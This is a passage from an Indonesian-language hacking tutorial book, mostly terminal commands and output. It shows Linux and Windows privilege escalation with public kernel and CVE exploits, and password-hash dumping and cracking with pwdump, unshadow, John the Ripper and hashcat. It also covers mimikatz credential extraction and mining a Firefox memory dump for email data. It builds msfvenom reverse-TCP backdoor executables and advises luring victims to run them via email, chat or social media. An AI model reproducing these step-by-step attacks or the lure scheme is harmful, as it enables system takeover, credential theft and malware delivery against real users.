+Cookie+check

log=admin&pwd=cobacoba&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.x
admin%2F&testcookie=1HTTP/1.1 500 Internal Server Error
Date: Wed, 11 Oct 2017 01:16:04 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: cloudflare-nginx
```

Entire conversation (3857 bytes)

Find | Save As | Print | ASCII | EBCDIC | Hex Dump | C

Hasilnya username dan password tampil di wireshark seperti di atas

Bab 26

Privilege escalation

26.1 Privilege escalation

Privilege escalation is the act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.

Sumber : en.wikipedia.org - https://en.wikipedia.org/wiki/Privilege_escalation

26.2 Privilege escalation pada target Windows

Kitrap0d di uji di Windows 2008 Server. Untuk download - http://xcode.or.id/energy/KiTrap0D.tar.gz

Untuk mengetahui lebih banyak klik http://www.rapid7.com/db/modules/exploit/windows/local/ms10_015_kitrap0d

Di Windows 2008 Server menggunakan account user biasa tidak dapat menambah

account baru

Dengan menjalankan exploit vdmallowd, maka muncul tampilan command prompt baru dengan akses administrator.Hasilnya saat menjalankan penambahan account, hasilnya berhasil ditambahkan account user baru dengan nama cewek.

Penggantian password administrators berhasil dilakukan,

26.3 Privilege escalation pada target Linux

Di sini perintah untuk melihat kernel yang digunakan oleh Ubuntu adalah uname -a, hasilnya seperti di bawah ini saat dijalankan.

Setelah mengetahui kernel yang digunakan dimungkinkan untuk dieksploitasi maka berikutnya adalah download file nelson.c di url http://vulnfactory.org/exploits/full-nelson.c.

Local Exploit ini ditujukan untuk rooting pada Linux Kernel <= 2.6.37. Local Exploit ini dibuat oleh Dan Rosenberg.

Source code dapat di copy paste ke ngeroot.c seperti di bawah ini.

Setelah selesai membuat file ngeroot.c yang diisi local exploit nelson maka berikitnya adalah melakukan compile. Perintah untuk compile jika filenya adalah ngeroot.c adalah gcc ngeroot.c -o ngeroot.

Di sini muncul file baru dengan nama ngeroot.

Berikut hasil eksploitasi yang dilakukan.

```
ubuntu@ubuntu: ~
File  Edit  View  Search  Terminal  Help
ubuntu@ubuntu:~$ uname -a
Linux ubuntu 2.6.35-22-generic #33-Ubuntu SMP Sun Sep 19 20:3
GNU/Linux
ubuntu@ubuntu:~$ nano ngeroot.c
ubuntu@ubuntu:~$ gcc ngeroot.c -o ngeroot
ubuntu@ubuntu:~$ whoami
ubuntu
ubuntu@ubuntu:~$ ./ngeroot
[*] Resolving kernel addresses...
 [+] Resolved econet_ioctl to 0xf08b72a0
 [+] Resolved econet_ops to 0xf08b73a0
 [+] Resolved commit_creds to 0xc016c830
 [+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# whoami
root
#
```

Untuk target lain misal Ubuntu 14.04

```
Ubuntu 14.04 LTS ubuntu tty1

ubuntu login: data
Password:
Last login: Wed Nov  2 20:26:45 EDT 2016 on tty1
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-24-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sat Nov  3 13:24:51 EDT 2007

  System load: 0.68              Memory usage: 4%   Processes:       77
  Usage of /:  4.8% of 30.64GB   Swap usage:   0%   Users logged in: 0

  => There are 5 zombie processes.

  Graph this data and manage this system at:
    https://landscape.canonical.com/

data@ubuntu:~$ uname -a
Linux ubuntu 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:08:14 UTC 2014 i686
athlon i686 GNU/Linux
data@ubuntu:~$ _
```

Ubuntu 14.04 dengan kernel dengan versi 3.13

Download exploit untuk rooting : https://www.exploit-db.com/exploits/37292/

Download lalu save

```
C:\>cd \Users\kurniawandata\Downloads

C:\Users\kurniawandata\Downloads>dir 37292.c
 Volume in drive C has no label.
 Volume Serial Number is 1EAE-5B55

 Directory of C:\Users\kurniawandata\Downloads

11/01/2016  08:14 PM             5,123 37292.c
               1 File(s)          5,123 bytes
               0 Dir(s)  194,927,923,200 bytes free

C:\Users\kurniawandata\Downloads>copy 37292.c c:\xampp\htdocs
        1 file(s) copied.

C:\Users\kurniawandata\Downloads>
```

```
data@ubuntu:/$ cd /tmp
data@ubuntu:/tmp$ wget http://192.168.1.9/37292.c
--2016-11-02 22:39:32--  http://192.168.1.9/37292.c
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5123 (5.0K) [text/x-c]
Saving to: '37292.c'

100%[===================================>] 5,123       --.-K/s   in 0s

2016-11-02 22:39:32 (74.2 MB/s) - '37292.c' saved [5123/5123]

data@ubuntu:/tmp$ gcc 37292.c -o ngeroot
data@ubuntu:/tmp$ whoami
data
data@ubuntu:/tmp$ ./ngeroot
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
#
```

gcc 37292.c -o ngeroot

./ngeroot

Jika ingin mengetahui local exploit lain untuk linux maka dapat masuk ke https://www.exploit-db.com/local/

26.4 John the Ripper

John the Ripper is a fast password cracker, currently available for many flavors of Unix, Windows, DOS, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix systems, supported out of the box are Windows *LM hashes*, plus lots of other hashes and ciphers in the community-enhanced version.

26.4.1 John the Ripper untuk target Windows

Sumber : openwall.com - http://www.openwall.com/john/

Contoh serangan menggunakan John The ripper untuk mendapatkan password user di Windows

```
12/15/2011  04:00 AM               510 sha-test.pl
12/17/2011  05:19 AM             5,646 ssh2john.exe
12/15/2011  04:00 AM           112,557 stats
12/17/2011  05:19 AM             5,646 unafs.exe
12/17/2011  05:19 AM             5,646 undrop.exe
12/17/2011  05:19 AM             5,646 unique.exe
12/17/2011  05:19 AM             5,646 unshadow.exe
12/17/2011  05:19 AM             5,646 zip2john.exe
               46 File(s)      8,681,042 bytes
                3 Dir(s)  26,425,516,032 bytes free

C:\jtr\run>pwdump7 > crack
Pwdump v7.1 - raw password extractor
Author: Andres Tarasco Acuna
url: http://www.514.es


C:\jtr\run>john crack
Warning: detected hash type "nt", but the string is also recognized as "nt2"
Use the "--format=nt2" option to force loading these as that type instead
Loaded 4 password hashes with no different salts (NT MD4 [128/128 SSE2 + 32/32])

                 (Administrator)
baseball         (ruangfokus)
```

Tool yang dibutuhkan adalah pwdump7 untuk mengetahui hash di Windows dan John the ripper untuk crack password.

Di atas perintah yang dijalan untuk menggunakan pwdump7

Pwdump7 > crack

Hasilnya ada di file crack, file crack ini bisa dibuka dengan editor notepad untuk melihat hasilnya.

Setelah didapatkan hashnya maka selanjutnya dilakukan crack dengan perintah :

John crack

Hasilnya seperti pada gambar

26.4.2 John the Ripper untuk target linux

Contoh serangan menggunakan John The ripper untuk mendapatkan password user di linux

Program John the ripper dapat di download di http://www.openwall.com/john/

Jika belum punya make maka ambil make di repo nya dengan perintah

Apt-get install make

```
File  Edit  View  Search  Terminal  Help
-rw------- 1 root root   2250 2013-05-30 05:36 tty.c
-rw------- 1 root root    837 2013-05-30 05:36 tty.h
-rw------- 1 root root   1956 2014-08-29 10:34 tty.o
-rw------- 1 root root   1829 2013-05-30 05:28 unafs.c
-rw------- 1 root root   2660 2014-08-29 10:34 unafs.o
-rw------- 1 root root   5141 2013-05-30 05:29 unique.c
-rw------- 1 root root   3188 2014-08-29 10:34 unique.o
-rw------- 1 root root   3690 2013-05-30 05:29 unshadow.c
-rw------- 1 root root   3116 2014-08-29 10:34 unshadow.o
-rw------- 1 root root   1048 2013-05-30 05:29 vax.h
-rw------- 1 root root   8282 2013-05-30 05:36 wordlist.c
-rw------- 1 root root    563 2013-05-30 05:36 wordlist.h
-rw------- 1 root root  10316 2014-08-29 10:34 wordlist.o
-rw------- 1 root root   4764 2013-05-30 05:29 x86-64.h
-rw------- 1 root root  30446 2012-07-21 19:08 x86-64.S
-rw------- 1 root root   1080 2013-05-07 04:50 x86-any.h
-rw------- 1 root root   1862 2013-05-30 05:29 x86-mmx.h
-rw------- 1 root root  42952 2014-08-29 10:34 x86-mmx.o
-rw------- 1 root root  29233 2012-07-21 18:39 x86-mmx.S
-rw------- 1 root root  19124 2014-08-29 10:34 x86.o
-rw------- 1 root root  28169 2013-05-30 05:29 x86.S
-rw------- 1 root root   3388 2013-05-30 05:29 x86-sse.h
-rw------- 1 root root  31551 2012-07-21 18:40 x86-sse.S
root@kurniawan-data:/home/kurniawan/john-1.8.0/src# apt-get install make
```

Apt-get install make

```
-rw------- 1 root root   3188 2014-08-29 10:34 unique.o
-rw------- 1 root root   3690 2013-05-30 05:29 unshadow.c
-rw------- 1 root root   3116 2014-08-29 10:34 unshadow.o
-rw------- 1 root root   1048 2013-05-30 05:29 vax.h
-rw------- 1 root root   8282 2013-05-30 05:36 wordlist.c
-rw------- 1 root root    563 2013-05-30 05:36 wordlist.h
-rw------- 1 root root  10316 2014-08-29 10:34 wordlist.o
-rw------- 1 root root   4764 2013-05-30 05:29 x86-64.h
-rw------- 1 root root  30446 2012-07-21 19:08 x86-64.S
-rw------- 1 root root   1080 2013-05-07 04:50 x86-any.h
-rw------- 1 root root   1862 2013-05-30 05:29 x86-mmx.h
-rw------- 1 root root  42952 2014-08-29 10:34 x86-mmx.o
-rw------- 1 root root  29233 2012-07-21 18:39 x86-mmx.S
-rw------- 1 root root  19124 2014-08-29 10:34 x86.o
-rw------- 1 root root  28169 2013-05-30 05:29 x86.S
-rw------- 1 root root   3388 2013-05-30 05:29 x86-sse.h
-rw------- 1 root root  31551 2012-07-21 18:40 x86-sse.S
root@kurniawan-data:/home/kurniawan/john-1.8.0/src# make clean linux-x86-mmx
```

Masuk di folder src lalu ketik make clean linux-x86-mmx

```
-rw------- 1 root root   33613 2013-05-30 09:20 john.conf
-rw------- 1 root root   72433 2014-08-29 10:37 john.log
-rw------- 1 root root     216 2014-08-29 10:37 john.pot
-rw------- 1 root root 1184244 2013-05-29 23:05 lm_ascii.chr
-rwx------ 1 root root    1432 2013-05-30 05:43 mailer
-rwx------ 1 root root     842 2013-05-30 05:44 makechr
-rw------- 1 root root    2029 2014-08-29 10:30 oo
-rw------- 1 root root   26325 2013-05-30 05:48 password.lst
-rwx------ 1 root root    4782 2013-05-30 05:44 relbench
lrwxrwxrwx 1 root root       4 2014-08-30 08:12 unafs -> john
lrwxrwxrwx 1 root root       4 2014-08-30 08:12 unique -> john
lrwxrwxrwx 1 root root       4 2014-08-30 08:12 unshadow -> john
root@kurniawan-data:/home/kurniawan/john-1.8.0/run# ./unshadow /etc/passwd /etc/
shadow > crack
root@kurniawan-data:/home/kurniawan/john-1.8.0/run#
```

Masuk di folder run lalu ketik ./unshadow /etc/passwd /etc/shadow > crack

Perintah ini untuk mengetahui username dan hash password, jika di Windows untuk melihat hash pada password username menggunakan pwdump.

```
-rwx------ 1 root root    1432 2013-05-30 05:43 mailer
-rwx------ 1 root root     842 2013-05-30 05:44 makechr
-rw------- 1 root root    2029 2014-08-29 10:30 oo
-rw------- 1 root root   26325 2013-05-30 05:48 password.lst
-rwx------ 1 root root    4782 2013-05-30 05:44 relbench
lrwxrwxrwx 1 root root       4 2014-08-30 08:12 unafs -> john
lrwxrwxrwx 1 root root       4 2014-08-30 08:12 unique -> john
lrwxrwxrwx 1 root root       4 2014-08-30 08:12 unshadow -> john
root@kurniawan-data:/home/kurniawan/john-1.8.0/run# ./john crack
Loaded 2 password hashes with 2 different salts (crypt, generic crypt(3) [?/32])
No password hashes left to crack (see FAQ)
root@kurniawan-data:/home/kurniawan/john-1.8.0/run# ./john --show crack
kurniawan:baseball:1000:1000:kurniawan,,,:/home/kurniawan:/bin/bash
ll:baseball:1001:1001::/home/ll:/bin/sh

2 password hashes cracked, 0 left
root@kurniawan-data:/home/kurniawan/john-1.8.0/run#
```

Masuk ke folder run lalu ketik ./john crack

Perintah ini ditujukan untuk melakukan crack password secara langsung memanfaatkan metode brute force dengan wordlist password.lst.

26.5 Cara mendapatkan password di desktop Windows 7 / 8 di komputer deskop melalui akses Run Administrator

mimikatz is a tool I've made to learn C and make somes experiments with Windows security.

It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets.

https://github.com/gentilkiwi/mimikatz/releases

Jalankan program mimikatz dengan Run as administrator

Ketik :

privilege:debug

sekurlsa::LogonPasswords

Hasilnya seperti di atas

26.6 Privilege elevation pada Windows 7 SP1/8.1/2012 R2/Windows 10/Windows Server 2016

CVE-2017-0213

Windows COM Aggregate Marshaler in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, and 1703, and Windows Server 2016 allows an elevation privilege vulnerability when an attacker runs a specially crafted application, aka "Windows COM Elevation of Privilege Vulnerability". This CVE ID is unique from CVE-2017-0214.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0213

```
01/13/2018  03:12 PM    <DIR>          Contacts
06/06/2017  10:18 AM           160,768 CVE-2017-0213_x64.exe
01/13/2018  03:12 PM    <DIR>          Desktop
01/13/2018  03:12 PM    <DIR>          Documents
01/13/2018  03:12 PM    <DIR>          Downloads
01/13/2018  03:12 PM    <DIR>          Favorites
01/13/2018  03:12 PM    <DIR>          Links
01/13/2018  03:12 PM    <DIR>          Music
01/13/2018  03:16 PM    <DIR>          OneDrive
01/13/2018  03:07 AM             1,336 output.tlb
01/13/2018  03:14 PM    <DIR>          Pictures
01/12/2018  03:03 PM           135,680 rooting.exe
01/13/2018  03:07 AM               331 run.sct
01/13/2018  03:12 PM    <DIR>          Saved Games
01/13/2018  03:15 PM    <DIR>          Searches
01/13/2018  03:12 PM    <DIR>          Videos
01/13/2018  03:07 AM    <DIR>          Windows
               5 File(s)        299,339 bytes
              15 Dir(s)  21,375,381,504 bytes free

C:\Users\data>net user kurniawanganteng baseball /add
System error 5 has occurred.

Access is denied.
```

Ada file CVE-2017-0213_x64.exe

Pertama-tama dijalankan dalam posisi user biasa, ketika menambah user, hasilnya System error 5 has occurred. Tidak diijinkan.

```
01/13/2018  03:16 PM    <DIR>          OneDrive
01/13/2018  03:07 AM             1,336 output.tlb
01/13/2018  03:14 PM    <DIR>          Pictures
01/12/2018  03:03 PM           135,680 rooting.exe
01/13/2018  03:07 AM               331 run.sct
01/13/2018  03:12 PM    <DIR>          Saved Games
01/13/2018  03:15 PM    <DIR>          Searches
01/13/2018  03:12 PM    <DIR>          Videos
01/13/2018  03:07 AM    <DIR>          Windows
               5 File(s)        299,339 bytes
              15 Dir(s)  21,375,381,504 bytes free

C:\Users\data>net user kurniawanganteng baseball /add
System error 5 has occurred.

Access is denied.

C:\Users\data>CVE-2017-0213_x64.exe
```

Program CVE-2017-0213_x64.exe dijalankan

Hasilnya seperti di atas, user berhasil ditambahkan

Materi sisipan

ProcDump untuk mengambil data dari memory firefox

ProcDump is a command-line utility whose primary purpose is monitoring an application for CPU spikes and generating crash dumps during a spike that an administrator or developer can use to determine the cause of the spike.

Sumber : https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

https://mail.yahoo.com

```
Command Prompt
cmd.exe                      5736 Console                    1      2,740 K
conhost.exe                  6032 Console                    1      4,152 K
firefox.exe                  4656 Console                    1    614,680 K
xampp-control.exe            5816 Console                    1      5,344 K
httpd.exe                    4664 Console                    1     51,916 K
httpd.exe                    4868 Console                    1     54,120 K
VirtualBox.exe               2288 Console                    1      2,276 K
VirtualBox.exe               3492 Console                    1      3,812 K
VirtualBox.exe                900 Console                    1     54,772 K
tasklist.exe                 2232 Console                    1      4,536 K
WmiPrvSE.exe                 4108 Services                   0      4,724 K

E:\>procdump -ma 4656

ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[03:56:45] Dump 1 initiated: E:\firefox.exe_180113_035645.dmp
[03:56:45] Dump 1 writing: Estimated dump file size is 688 MB.
[03:56:56] Dump 1 complete: 688 MB written in 11.0 seconds
[03:56:56] Dump count reached.

E:\>
```

tasklist

procdump -ma 4656

File direname menjadi firefox.dmp lalu dimasukkan dalam c:\xampp\htdocs dengan apache diaktifkan

```
root@kalibr:~/procdump# wget http://192.168.1.9/firefox.dmp
--2018-01-12 15:56:46--  http://192.168.1.9/firefox.dmp
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 704640847 (672M) [text/plain]
Saving to: 'firefox.dmp'

firefox.dmp         100%[===================>] 672.00M  37.2MB/s    in 20s

2018-01-12 15:57:06 (34.2 MB/s) - 'firefox.dmp' saved [704640847/704640847]
```

File firefox.dmp didownload

```
root@kalibr:~/procdump# strings -td firefox.dmp | grep @yahoo.com
60465633 mailboxemail=datazipp@yahoo.com
69419265 https://data.mail.yahoo.com/classicab/v2/contacts/?format=json&view=com
pact&count=7000&custId=ymail&wssid=a6MlPRCct8.&ymreqid=ed5bb3e8-71b6-1dfb-0143-4
f0004010000&mailboxid=VjJ-CpVVFivIKVXeYFtXztTx3YtqxH5F5C36ig83Xn-kH_e7zXJrcc9TS7
DwIDHsqIZ1&mailboxemail=[redacted]@yahoo.com&mailboxtype=FREE
```

Hasilnya jika mencari data yang berhubungan dengan @yahoo.com

Materi sisipan

Hashcat

World's fastest and most advanced password recovery utility

Sumber : https://hashcat.net/wiki/

Contoh penggunaan

276f8db0b86edaa7fc805516c852c889

hashcat-cli32 -m 0 hash.txt e:/hashcat-master/example.dict

A2C901C8C6DEA98958C219F6F2D038C44DC5D362

```
E:\hashcat-master>hashcat-cli32 -m 100 sha1.txt e:/hashchat-master/example.dict
Initializing hashcat v2.00 with 2 threads and 32mb segment-size...

Added hashes from file sha1.txt: 1 (1 salts)
Activating quick-digest mode for single-hash

[s]tatus [p]ause [r]esume [b]ypass [q]uit =>

e:/hashchat-master/example.dict: No such file or directory

E:\hashcat-master>hashcat-cli32 -m 100 sha1.txt pass.txt
Initializing hashcat v2.00 with 2 threads and 32mb segment-size...

Added hashes from file sha1.txt: 1 (1 salts)
Activating quick-digest mode for single-hash

a2c901c8c6dea98958c219f6f2d038c44dc5d362:baseball

All hashes have been recovered

Input.Mode: Dict (pass.txt)
Index.....: 1/1 (segment), 21 (words), 186 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, - words
Progress..: 18/21 (85.71%)
Running...: 00:00:00:01
Estimated.: --:--:--:--


Started: Sat Jan 13 11:26:10 2018
Stopped: Sat Jan 13 11:26:11 2018

E:\hashcat-master>
```

hashcat-cli32 -m 100 sha1.txt e:/hashcat-master/example.dict

Hasilnya password ditemukan

Bab 27

MSFPayload dan Social Engineering

Social engineering adalah manipulasi psikologis dari seseorang dalam melakukan aksi atau menguak suatu informasi rahasia.

Social engineering mengkonsentrasikan diri pada rantai terlemah sistem jaringan komputer, yaitu manusia. Tidak ada sistem komputer yang tidak melibatkan interaksi manusia. Dan parahnya lagi, celah keamanan ini bersifat universal, tidak tergantung platform, sistem operasi, protokol, software ataupun hardware. Artinya, setiap sistem mempunyai kelemahan yang sama pada faktor manusia. Setiap orang yang mempunyai akses kedalam sistem secara fisik adalah ancaman, bahkan jika orang tersebut tidak termasuk dalam kebijakan kemanan yang telah disusun. Seperti metoda hacking yang lain, social engineering juga memerlukan persiapan, bahkan sebagian besar pekerjaan meliputi persiapan itu sendiri.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Social_engineering_%28keamanan%29

msfpayload is a command line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit. The most common use of this tool is for the generation of shellcode for an exploit that is not currently in the Metasploit Framework or for testing different types of shellcode and options before finalizing an Exploit Module.

Sumber : offensive-security.com- https://www.offensive-security.com/metasploit-unleashed/msfpayload/

27.1 Target Windows

Untuk target Windows, contoh skenario :

Membuat program executable untuk dijalankan oleh target pengguna windows, agar komputer target dapat dilakukan remote. Program bisa dikirim lewat e-mail, chat, situs social media, group, forum dan sebagainya dengan disertai informasi program tersebut menarik bagi yang melihat untuk menjalankan program tersebut.

```
root@dhcppc4:~# msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.71 lp
ort=1000 x >> data.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: {"lhost"=>"192.168.1.71", "lport"=>"1000"}
root@dhcppc4:~# cp data.exe /home
root@dhcppc4:~# msfconsole
  +-----------------------------------------------------+
  |  METASPLOIT by Rapid7                               |
  +---------------------------+-------------------------+
  |       __________________  |                         |
  |   ==c(______(o(______(_()| |""""""""""""|======[***|
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______|
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *************************|
  +---------------------------+-------------------------+
  |      o 0 o                |        \'\/\/\/'/         |
  |              o 0          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l|        |      /    |||    \        |
```

Msfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.168.1.71 lport=1000 x >> data.exe

Jika targetnya di internet maka lhost diganti dengan ip publik, jika lport 1000 maka pastikan dilakukan forward port 1000 dari router ke komputer penyerang.

Berikutnya jalankan msfconsole

Use exploit/multi/handler

Set payload windows/meterpreter/reverse_tcp

Set lhost 192.168.1.71

Jika targetnya di internet maka diganti dengan ip publik

Set lport 1000

Exploit

Saat korban menjalankan file data.exe maka korban akan menghubungi penyerang melewati port 1000 dan terjadi hubungan koneksi.

```
File  Edit  View  Search  Terminal  Help

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro's wizard -- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops

msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.1.71
lhost => 192.168.1.71
msf  exploit(handler) > set lport 1000
lport => 1000
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.71:1000
[*] Starting the payload handler...
set[*] Sending stage (752128 bytes) to 192.168.1.28
[*] Meterpreter session 1 opened (192.168.1.71:1000 -> 192.168.1.28:49189) at 20
15-08-19 11:53:22 -0400

meterpreter >
```

Hasil dari korban menjalankan file execubtale yang dibuat dengan menggunakan msfpayload.

27.2 Msfvenom untuk backdoor pada target Windows 7 dan mendapatkan akses administrator Windows 7 (Local Exploit)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=1000 -f exe > shell.exe

Kirim shell.exe ke target Windows 7

msfconsole

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.1.101

set lport 1000

exploit

Target Windows 7 jalankan shell.exe

```
msf exploit(ms10_015_kitrap0d) > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 1000
lport => 1000
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.100:1000
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.1.153
[*] Meterpreter session 3 opened (192.168.1.100:1000 -> 192.168.1.153:49285) at 2
-19 07:27:50 -0400

meterpreter > getuid
Server username: kurniawan\kurniawandata
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was
pted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
```

Ikuti perintah seperti di atas

```
meterpreter > background
[*] Backgrounding session 3...
msf exploit(handler) > use exploit/windows/local/ms10_015_kitrap0d
msf exploit(ms10_015_kitrap0d) > set session 3
session => 3
msf exploit(ms10_015_kitrap0d) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms10_015_kitrap0d) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(ms10_015_kitrap0d) > set lport 1000
lport => 1000
msf exploit(ms10_015_kitrap0d) > exploit

[*] Started reverse TCP handler on 192.168.1.100:1000
[*] Launching notepad to host the exploit...
[+] Process 3864 launched.
[*] Reflectively injecting the exploit DLL into 3864...
[*] Injecting exploit into 3864 ...
[*] Exploit injected. Injecting payload into 3864...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to com
[*] Sending stage (957999 bytes) to 192.168.1.153
[*] Meterpreter session 4 opened (192.168.1.100:1000 -> 192.168.1.153:49298) a
-19 07:28:41 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
```

Ikuti perintah seperti di atas

```
meterpreter > shell
[-] Failed to spawn shell with thread impersonation. Retrying without it.
Process 2736 created.
Channel 2 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\kurniawandata\Downloads>whoami
whoami
nt authority\system

C:\Users\kurniawandata\Downloads>
```

Hasil setelah melakukan local exploit untuk meningkatkan hak akses di Windows 8.1

Sebagai tambahan : Untuk target Windows 7 SP1 dapat menggunakan exploit ms16_016-webdav. Exploit ms16_16 juga bisa untuk Windows 7 full version (SP0).

```
root@kali2baru:/home/kurniawan# msfvenom -p windows/meterpreter/reverse_tcp LHOS
T=192.168.1.101 LPORT=1000 -f exe > backdoor10.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
root@kali2baru:/home/kurniawan# cp backdoor10.exe /var/www/html
root@kali2baru:/home/kurniawan#
```

Buat backdoor seperti di atas

```
       =[ metasploit v4.12.22-dev                         ]
+ -- --=[ 1577 exploits - 906 auxiliary - 272 post        ]
+ -- --=[ 455 payloads - 39 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
set lport 1000
set lhost 192.168.1.1payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 1000
lport => 1000
0msf exploit(handler) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Starting the payload handler...
```

Jalankan exploit/multi/handler seperti di atas

Target menjalankan file backdoor10.exe

```
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Starting the payload handler...
[*] Sending stage (957999 bytes) to 192.168.1.58
[*] Meterpreter session 1 opened (192.168.1.101:1000 -> 192.168.1.58:49211) at 2
017-01-16 09:35:39 -0500

gmeterpreter > getuid
Server username: windows7-PC\windows7
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following wa
s attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > search ms16
[!] Module database cache not built yet, using slow search
```

Hasilnya seperti di atas tapi aksesnya belum NT AUTHORITY\SYSTEM atau akses penuh

Ketik background lalu enter

Ketik search ms16 lalu enter

```
File  Edit  View  Search  Terminal  Help
   ----                                                          --------------
   ----       -----------
   auxiliary/gather/ie_sandbox_findfiles                         2016-08-09
   normal     Internet Explorer Iframe Sandbox File Name Disclosure Vulnerabilit
y
   auxiliary/server/netbios_spoof_nat                            2016-06-14
   normal     NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)
   exploit/windows/browser/ms16_051_vbscript                     2016-05-10
   normal     Internet Explorer 11 VBScript Engine Memory Corruption
   exploit/windows/local/ms16_016_webdav                         2016-02-09
   excellent  MS16-016 mrxdav.sys WebDav Local Privilege Escalation
   exploit/windows/local/ms16_032_secondary_logon_handle_privesc  2016-03-21
   normal     MS16-032 Secondary Logon Handle Privilege Escalation


msf exploit(handler) > use exploit/windows/local/ms16_016_webdav
msf exploit(ms16_016_webdav) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms16_016_webdav) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(ms16_016_webdav) > set lport 1000
lport => 1000
```

Pilih ms16_016_webdav seperti di atas

```
msf exploit(ms16_016_webdav) > set session 1
session => 1
msf exploit(ms16_016_webdav) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Launching notepad to host the exploit...
[+] Process 3036 launched.
[*] Reflectively injecting the exploit DLL into 3036...
[*] Exploit injected ... injecting payload into 3036...
[*] Done.  Verify privileges manually or use 'getuid' if using meterprete
rify exploitation.
msf exploit(ms16_016_webdav) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Launching notepad to host the exploit...
[+] Process 3844 launched.
[*] Reflectively injecting the exploit DLL into 3844...
[*] Exploit injected ... injecting payload into 3844...
```

Exploit

```
[*] Exploit injected ... injecting payload into 3036...
[*] Done.  Verify privileges manually or use 'getuid' if using meterpreter to ve
rify exploitation.
msf exploit(ms16_016_webdav) > exploit

[*] Started reverse TCP handler on 192.168.1.101:1000
[*] Launching notepad to host the exploit...
[+] Process 3844 launched.
[*] Reflectively injecting the exploit DLL into 3844...
[*] Exploit injected ... injecting payload into 3844...
[*] Sending stage (957999 bytes) to 192.168.1.58
